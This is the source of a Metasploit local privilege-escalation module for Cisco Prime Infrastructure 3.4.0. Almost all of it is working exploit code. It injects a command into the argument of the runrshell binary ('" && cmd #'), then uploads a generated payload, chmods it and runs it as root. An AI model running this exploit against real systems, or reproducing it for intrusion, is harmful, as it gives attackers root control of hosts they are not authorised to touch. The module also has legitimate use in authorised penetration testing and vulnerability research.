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## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'Cisco Prime Infrastructure Runrshell Privilege Escalation', 'Description'=> %q{ This modules exploits a vulnerability in Cisco Prime Infrastructure's runrshell binary. The runrshell binary is meant to execute a shell script as root, but can be abused to inject extra commands in the argument, allowing you to execute anything as root. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>', # First discovery 'sinn3r' # Metasploit module ], 'Platform' => ['linux'], 'Arch' => [ARCH_X86, ARCH_X64], 'SessionTypes' => ['shell', 'meterpreter'], 'DisclosureDate' => '2018-12-08', 'Privileged' => true, 'References' => [ ['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/cisco-prime-infrastructure.txt#L56'], ], 'Targets'=> [ [ 'Cisco Prime Infrastructure 3.4.0', {} ] ], 'DefaultTarget'=> 0 )) register_advanced_options [ OptString.new('WritableDir', [true, 'A directory where we can write the payload', '/tmp']) ] end def exec_as_root(cmd) command_string = "/opt/CSCOlumos/bin/runrshell '\" && #{cmd} #'" vprint_status(cmd_exec(command_string)) end def exploit payload_name = "#{Rex::Text.rand_text_alpha(10)}.bin" exe_path = Rex::FileUtils.normalize_unix_path(datastore['WritableDir'], payload_name) print_status("Uploading #{exe_path}") write_file(exe_path, generate_payload_exe) unless file?(exe_path) print_error("Failed to upload #{exe_path}") return end register_file_for_cleanup(exe_path) print_status('chmod the file with +x') exec_as_root("/bin/chmod +x #{exe_path}") print_status("Executing #{exe_path}") exec_as_root(exe_path) end end |
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